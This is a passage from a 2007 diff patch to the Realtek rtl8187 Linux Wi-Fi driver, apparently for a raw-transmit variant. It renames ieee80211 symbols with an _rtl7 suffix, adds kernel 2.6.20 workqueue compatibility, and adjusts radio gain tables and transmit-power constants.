((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-07-13 01:46:24.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-07-13 01:46:27.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-07-13 01:46:24.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-07-13 01:46:27.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-07-13 01:46:24.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg 